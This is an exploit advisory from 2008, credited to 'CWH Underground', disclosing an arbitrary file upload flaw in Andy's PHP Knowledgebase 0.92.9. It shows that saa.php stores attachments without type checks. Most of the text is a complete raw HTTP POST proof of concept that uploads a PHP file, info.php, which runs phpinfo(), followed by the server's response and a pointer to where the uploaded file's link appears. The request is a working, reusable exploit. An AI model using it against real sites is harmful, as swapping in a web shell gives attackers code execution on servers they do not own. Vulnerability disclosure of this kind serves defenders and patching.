andysphpkb-upload.txt

`==============================================================  
Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability  
==============================================================  
  
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| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
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`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
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AUTHOR : CWH Underground  
DATE : 1 December 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : Andy's PHP Knowledgebase  
VERSION : 0.92.9  
DOWNLOAD : http://sourceforge.net/project/showfiles.php?group_id=113755  
#####################################################  
  
--- Arbitrary File Upload ---  
  
In saa.php page, you can submit an article and attachment file to wait for approval from admin.  
Immediately after you submit the article and attachment file, the file has already been on the server without checking file type.  
You can upload arbitary file through this form and the url to this file is in authors.php page.  
  
--------  
POC  
--------  
  
POST /cms/aphpkb/saa.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2  
Cookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f  
Content-Type: multipart/form-data; boundary=---------------------------22955284022147  
Content-Length: 1080  
-----------------------------22955284022147  
Content-Disposition: form-data; name="title"  
  
PoC Arbitrary File Upload  
-----------------------------22955284022147  
Content-Disposition: form-data; name="article"  
  
PoC Arbitrary File Upload  
-----------------------------22955284022147  
Content-Disposition: form-data; name="keywords"  
  
PoC Arbitrary File Upload  
-----------------------------22955284022147  
Content-Disposition: form-data; name="aid"  
  
2  
-----------------------------22955284022147  
Content-Disposition: form-data; name="upload"; filename="info.php"  
Content-Type: application/octet-stream  
  
<? phpinfo(); ?>  
-----------------------------22955284022147  
Content-Disposition: form-data; name="description"  
  
PHP File  
-----------------------------22955284022147  
Content-Disposition: form-data; name="aid"  
  
2  
-----------------------------22955284022147  
Content-Disposition: form-data; name="a"  
  
  
-----------------------------22955284022147  
Content-Disposition: form-data; name="submit"  
  
Submit/Save  
-----------------------------22955284022147--  
  
  
HTTP/1.x 200 OK  
Date: Mon, 01 Dec 2008 05:39:35 GMT  
Server: Apache/2.2.8 (Win32) PHP/5.2.6  
X-Powered-By: PHP/5.2.6  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 4578  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html  
  
  
-----------------------------------------------------------------------  
  
Link for uploaded file is in http://[Target]/[aphpkb_path]/authors.php  
  
  
#######################################################################################  
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK  
Special Thx : asylu3, str0ke, citec.us, milw0rm.com  
#######################################################################################  
  
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